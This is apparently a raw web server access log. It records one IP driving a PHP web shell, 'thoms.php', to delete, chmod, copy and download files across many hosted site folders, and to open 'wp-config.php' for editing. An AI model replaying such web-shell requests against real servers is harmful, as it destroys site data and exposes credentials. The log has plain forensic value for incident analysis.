45.135.193.11 - - [11/Sep/2026:23:48:49 -0400] "GET /booking-wise2.com.tw/thoms.php?p= HTTP/1.1" 200 22928 "https://163.245.207.76/booking-wise2.com.tw/thoms.php?copy=wordpress-6.6.2-zh_TW&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:49 -0400] "GET /booking-wise2.com.tw/thoms.php?chmod=error_log-20260912023633.&p= HTTP/1.1" 200 11450 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:49 -0400] "GET /booking-wise2.com.tw/thoms.php?del=besth2o.com.tw&p= HTTP/1.1" 200 22909 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:49 -0400] "GET /booking-wise2.com.tw/thoms.php?dl=mah.php&p= HTTP/1.1" 200 22930 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:49 -0400] "GET /booking-wise2.com.tw/thoms.php?copy=booking-wise2.com.tw&p= HTTP/1.1" 200 12413 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:49 -0400] "GET /booking-wise2.com.tw/thoms.php?del=bestjudy.com.tw&p= HTTP/1.1" 200 22917 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:49 -0400] "GET /booking-wise2.com.tw/thoms.php?chmod=bodbooks.com.tw&p= HTTP/1.1" 200 11444 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:49 -0400] "GET /booking-wise2.com.tw/thoms.php?del=bogroup.com.tw&p= HTTP/1.1" 200 22918 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:49 -0400] "GET /booking-wise2.com.tw/thoms.php?chmod=wordpress-6.6.2-zh_TWPlus-20260912023538.zip&p= HTTP/1.1" 200 11468 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:49 -0400] "GET /booking-wise2.com.tw/thoms.php?p= HTTP/1.1" 200 22908 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:49 -0400] "GET /booking-wise2.com.tw/thoms.php?p=ba-guo.com-20260912023525 HTTP/1.1" 200 17300 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:50 -0400] "GET /booking-wise2.com.tw/thoms.php?copy=big-wife.com.tw&p= HTTP/1.1" 200 12403 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:50 -0400] "GET /booking-wise2.com.tw/thoms.php?del=bioway88.com.tw&p= HTTP/1.1" 200 22909 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:50 -0400] "GET /booking-wise2.com.tw/thoms.php?p=upgrade HTTP/1.1" 200 14005 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:50 -0400] "GET /booking-wise2.com.tw/thoms.php?chmod=upgrade&p= HTTP/1.1" 200 11438 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:50 -0400] "GET /booking-wise2.com.tw/thoms.php?p=bossini.com.tw HTTP/1.1" 200 20965 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:50 -0400] "GET /booking-wise2.com.tw/thoms.php?p=beauty-dental.com.tw HTTP/1.1" 200 17374 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:50 -0400] "GET /booking-wise2.com.tw/thoms.php?copy=betcity.com.tw&p= HTTP/1.1" 200 12411 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:50 -0400] "GET /booking-wise2.com.tw/thoms.php?p=wordpress-6.6-20260912023539 HTTP/1.1" 200 16548 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:50 -0400] "GET /booking-wise2.com.tw/thoms.php?chmod=wordpress-6.6.2-zh_TW&p= HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:50 -0400] "GET /booking-wise2.com.tw/thoms.php?del=wp-content-20260912023544&p= HTTP/1.1" 200 22917 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:50 -0400] "GET /booking-wise2.com.tw/thoms.php?copy=error_log-20260912023633.&p= HTTP/1.1" 200 12405 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:50 -0400] "GET /booking-wise2.com.tw/thoms.php?copy=wordpress-6.6.2-zh_TWPlus-20260912023538.zip&p= HTTP/1.1" 200 12421 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:50 -0400] "GET /booking-wise2.com.tw/thoms.php?p= HTTP/1.1" 200 22908 "https://163.245.207.76/booking-wise2.com.tw/thoms.php?chmod=wordpress-6.6.2-zh_TW&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:50 -0400] "GET /booking-wise2.com.tw/thoms.php?copy=ba-guo.com-20260912023525&p= HTTP/1.1" 200 12400 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:50 -0400] "GET /booking-wise2.com.tw/thoms.php?chmod=big-wife.com.tw&p= HTTP/1.1" 200 11432 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:50 -0400] "GET /booking-wise2.com.tw/thoms.php?del=wp-content&p= HTTP/1.1" 200 22918 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:50 -0400] "GET /booking-wise2.com.tw/thoms.php?chmod=.htaccess&p= HTTP/1.1" 200 11433 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:50 -0400] "GET /booking-wise2.com.tw/thoms.php?p=&view=error_log HTTP/1.1" 200 11932 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:50 -0400] "GET /booking-wise2.com.tw/thoms.php?dl=thoms.php&p= HTTP/1.1" 200 22917 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:50 -0400] "GET /booking-wise2.com.tw/thoms.php?p=&view=wordpress-6.6.2-zh_TWPlus-20260912023538.zip HTTP/1.1" 200 46385 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:50 -0400] "GET /booking-wise2.com.tw/thoms.php?copy=beauty-dental.com.tw&p= HTTP/1.1" 200 12415 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:50 -0400] "GET /booking-wise2.com.tw/thoms.php?p=biotaiwan.com.tw HTTP/1.1" 200 17508 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:50 -0400] "GET /booking-wise2.com.tw/thoms.php?copy=broadweb.com.tw&p= HTTP/1.1" 200 12403 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:50 -0400] "GET /booking-wise2.com.tw/thoms.php?chmod=wp-content&p= HTTP/1.1" 200 11428 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:50 -0400] "GET /booking-wise2.com.tw/thoms.php?copy=.htaccess&p= HTTP/1.1" 200 12390 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:50 -0400] "GET /booking-wise2.com.tw/thoms.php?p=&upload= HTTP/1.1" 200 12121 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:51 -0400] "GET /booking-wise2.com.tw/thoms.php?del=big-wife.com.tw&p= HTTP/1.1" 200 22934 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:51 -0400] "GET /booking-wise2.com.tw/thoms.php?p=cgi-bin HTTP/1.1" 200 13335 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:51 -0400] "GET /booking-wise2.com.tw/thoms.php?p=broadweb.com.tw HTTP/1.1" 200 17381 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:51 -0400] "GET /booking-wise2.com.tw/thoms.php?del=wordpress-6.6.2-zh_TWPlus-20260912023538.zip&p= HTTP/1.1" 200 22909 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:51 -0400] "GET /booking-wise2.com.tw/thoms.php?chmod=bestzyx.com.tw&p= HTTP/1.1" 200 11432 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:51 -0400] "GET /booking-wise2.com.tw/thoms.php?copy=bfl.com.tw&p= HTTP/1.1" 200 12405 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:51 -0400] "GET /booking-wise2.com.tw/thoms.php?chmod=besth2o.com.tw&p= HTTP/1.1" 200 11434 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:51 -0400] "GET /booking-wise2.com.tw/thoms.php?del=wordpress-6.6-20260912023539&p= HTTP/1.1" 200 22917 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:51 -0400] "GET /booking-wise2.com.tw/thoms.php?del=ba-guo.com.tw&p= HTTP/1.1" 200 22917 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:51 -0400] "GET /booking-wise2.com.tw/thoms.php?p=bioway88.com.tw HTTP/1.1" 200 17709 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:51 -0400] "GET /booking-wise2.com.tw/thoms.php?p=bestjudy.com.tw HTTP/1.1" 200 20594 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:51 -0400] "GET /booking-wise2.com.tw/thoms.php?del=bodbooks.com.tw&p= HTTP/1.1" 200 22918 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:51 -0400] "GET /booking-wise2.com.tw/thoms.php?copy=error_log&p= HTTP/1.1" 200 12387 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:51 -0400] "GET /booking-wise2.com.tw/thoms.php?copy=mah.php&p= HTTP/1.1" 200 12387 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:51 -0400] "GET /booking-wise2.com.tw/thoms.php?p=besth2o.com.tw HTTP/1.1" 200 17503 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:51 -0400] "GET /booking-wise2.com.tw/thoms.php?del=bft.com.tw&p= HTTP/1.1" 200 22824 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:51 -0400] "GET /booking-wise2.com.tw/thoms.php?p=bodbooks.com.tw HTTP/1.1" 200 17555 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:51 -0400] "GET /booking-wise2.com.tw/thoms.php?p=bestzyx.com.tw HTTP/1.1" 200 21167 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:51 -0400] "GET /booking-wise2.com.tw/thoms.php?chmod=bossini.com.tw&p= HTTP/1.1" 200 11443 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:51 -0400] "GET /booking-wise2.com.tw/thoms.php?copy=cgi-bin&p= HTTP/1.1" 200 12397 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:51 -0400] "GET /booking-wise2.com.tw/thoms.php?chmod=wordpress-6.6-20260912023539&p= HTTP/1.1" 200 11451 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:51 -0400] "GET /booking-wise2.com.tw/thoms.php?p=ba-guo.com.tw HTTP/1.1" 200 12524 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:51 -0400] "GET /booking-wise2.com.tw/thoms.php?del=ba-guo.com-20260912023525&p= HTTP/1.1" 200 22909 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:51 -0400] "GET /booking-wise2.com.tw/thoms.php?p=wp-content-20260912023544 HTTP/1.1" 200 12543 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:51 -0400] "GET /booking-wise2.com.tw/thoms.php?del=biotaiwan.com.tw&p= HTTP/1.1" 200 22809 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:51 -0400] "GET /booking-wise2.com.tw/thoms.php?dl=error_log&p= HTTP/1.1" 200 22917 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:51 -0400] "GET /booking-wise2.com.tw/thoms.php?dl=wordpress-6.6.2-zh_TWPlus.zip&p= HTTP/1.1" 200 22940 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:51 -0400] "GET /booking-wise2.com.tw/thoms.php?p=betcity.com.tw HTTP/1.1" 200 20779 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:51 -0400] "GET /booking-wise2.com.tw/thoms.php?del=bossini.com.tw&p= HTTP/1.1" 200 22911 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:51 -0400] "GET /booking-wise2.com.tw/thoms.php?del=error_log&p= HTTP/1.1" 200 22917 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:52 -0400] "GET /booking-wise2.com.tw/thoms.php?dl=error_log-20260912023633.&p= HTTP/1.1" 200 22917 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:52 -0400] "GET /booking-wise2.com.tw/thoms.php?copy=thoms.php&p= HTTP/1.1" 200 12390 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:52 -0400] "GET /booking-wise2.com.tw/thoms.php?chmod=wordpress-6.6.2-zh_TWPlus.zip&p= HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:52 -0400] "GET /booking-wise2.com.tw/thoms.php?copy=bioway88.com.tw&p= HTTP/1.1" 200 12409 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:52 -0400] "GET /booking-wise2.com.tw/thoms.php?p=&view=error_log-20260912023633. HTTP/1.1" 200 12233 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:52 -0400] "GET /booking-wise2.com.tw/thoms.php?del=booking-wise2.com.tw&p= HTTP/1.1" 200 22908 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:52 -0400] "GET /booking-wise2.com.tw/thoms.php?p= HTTP/1.1" 200 22931 "https://163.245.207.76/booking-wise2.com.tw/thoms.php?chmod=wordpress-6.6.2-zh_TWPlus.zip&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:52 -0400] "GET /booking-wise2.com.tw/thoms.php?chmod=thoms.php&p= HTTP/1.1" 200 11437 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:52 -0400] "GET /booking-wise2.com.tw/thoms.php?copy=bestzyx.com.tw&p= HTTP/1.1" 200 12421 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:52 -0400] "GET /booking-wise2.com.tw/thoms.php?chmod=bioway88.com.tw&p= HTTP/1.1" 200 11431 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:52 -0400] "GET /booking-wise2.com.tw/thoms.php?p=wp-content HTTP/1.1" 200 13751 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:52 -0400] "GET /booking-wise2.com.tw/thoms.php?chmod=wp-content-20260912023544&p= HTTP/1.1" 200 11445 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:52 -0400] "GET /booking-wise2.com.tw/thoms.php?p=big-wife.com.tw HTTP/1.1" 200 20734 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:52 -0400] "GET /thoms.php?edit=wp-config.php&p=booking-wise2.com.tw HTTP/1.1" 200 13463 "http://163.245.207.76:443/thoms.php?edit=wp-config.php&p=booking-wise2.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:52 -0400] "GET /thoms.php?edit=wp-config.php&env=ace&p=booking-wise2.com.tw HTTP/1.1" 200 17054 "http://163.245.207.76:443/thoms.php?edit=wp-config.php&env=ace&p=booking-wise2.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:52 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-login.php&p=booking-wise2.com.tw%2Fweb-common HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-login.php&p=booking-wise2.com.tw%2Fweb-common" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:52 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-login.php&finish=1&p=booking-wise2.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-login.php&finish=1&p=booking-wise2.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:52 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22922 "https://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-login.php&p=booking-wise2.com.tw%2Fweb-common" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:52 -0400] "GET /thoms.php?p=booking-wise2.com.tw HTTP/1.1" 200 20428 "https://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-login.php&finish=1&p=booking-wise2.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:52 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-login.php&finish=1&move=1&p=booking-wise2.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-login.php&finish=1&move=1&p=booking-wise2.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:52 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-login.php&p=booking-wise2.com.tw%2F.well-known HTTP/1.1" 200 11403 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-login.php&p=booking-wise2.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:52 -0400] "GET /thoms.php?p=booking-wise2.com.tw HTTP/1.1" 200 20430 "https://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-login.php&finish=1&move=1&p=booking-wise2.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
